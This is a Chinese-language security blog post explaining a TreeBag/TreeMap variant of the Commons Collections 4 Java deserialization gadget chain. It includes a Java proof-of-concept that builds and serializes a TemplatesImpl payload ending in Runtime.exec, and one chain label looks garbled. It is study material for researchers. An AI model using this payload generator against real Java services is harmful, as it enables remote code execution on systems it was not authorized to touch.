ORXIAIN ISLAND
博客 / BLOG POST
2025 - 2026
READING

JavaSec - CC4 TreeBag&TreeMap

+

翻文章看题发现CC4漏了一条利用链,补一下

首先回顾一下ysoserial的CC4

Yso Gadget:

getTransletInstancePriorityQueue.readObject->
PriorityQueue.heapify ->
PriorityQueue.siftDown->
PriorityQueue.siftDownUsingComparator ->
TransformingComparator.compare->
ChainedTransformer.transform ->
TrAXFilter(构造方法)->
TemplatesImpl.newTransformer ->
TemplatesImpl.getTransletInstance->
TemplatesImpl.defineTransletClasses ->
(动态创建的类)cc4.newInstance()->
Runtime.exec()

在yso里,CC4是CC2和CC3的拼接,绕过了CC版本限制,入口点在`getTransletInstancePriorityQueue`的readobject方法,使用CC2的链子触发compare,然后使用CC3的TrAXFilter触发newTransformer()

TreeBag?

Implements [SortedBag](https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/SortedBag.html), using a [TreeMap](https://docs.oracle.com/en/java/javase/21/docs/api/java.base/java/util/TreeMap.html) to provide the data storage. This is the standard implementation of a sorted bag.

Order will be maintained among the bag members and can be viewed through the iterator.

A [Bag](https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/Bag.html) stores each object in the collection together with a count of occurrences. Extra methods on the interface allow multiple copies of an object to be added or removed at once. It is important to read the interface Javadoc carefully as several methods violate the [Collection](https://docs.oracle.com/en/java/javase/21/docs/api/java.base/java/util/Collection.html) interface specification.

TreeBag 使用 TreeMap 来储存数据,并使用指定 Comparator 来进行排序

我们来看TreeBag的类,它继承了AbstractMapBag,实现了SortedBag和Serializable接口

来看readobject,它将in参数进行反序列化,转换为了Comparator为comp

随后调用了父类的doReadObject方法,将comp和in传入,调用了map的put方法

跟进put,它调用了compare方法,这里调用的是in的compare,之后就和yso差不多了

Exp

Gadget

TreeBag.readObject() ->
AbstractMapBag.doReadObject() ->
TreeBag.put() ->
TransformingComparator.compare->
ChainedTransformer.transform ->
TrAXFilter(构造方法)->
TemplatesImpl.newTransformer ->
TemplatesImpl.getTransletInstance->
TemplatesImpl.defineTransletClasses ->
(动态创建的类)cc4.newInstance()->
Runtime.exec()
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class CC4 {
    public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void main(String[] args) throws Exception {
        //创建TemplatesImpl对象加载字节码
        byte[] code = ClassPool.getDefault().getCtClass("org.example.EvilTemplatesImpl").toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_name","RoboTerh");
        setFieldValue(obj,"_class",null);
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(obj,"_bytecodes",new byte[][]{code});

        //使用一个无害的InvokerTransformer
        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);

        TransformingComparator transformingComparator = new TransformingComparator(transformer);
        //创建TreeBag对象
        TreeBag treeBag = new TreeBag(transformingComparator);
        treeBag.add(obj);
        //更改调用方法
        setFieldValue(transformer, "iMethodName", "newTransformer");

        //序列化
        ByteArrayOutputStream baor = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baor);
        oos.writeObject(treeBag);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object o = ois.readObject();
        baor.close();
    }
}

Links

https://xz.aliyun.com/news/11589

END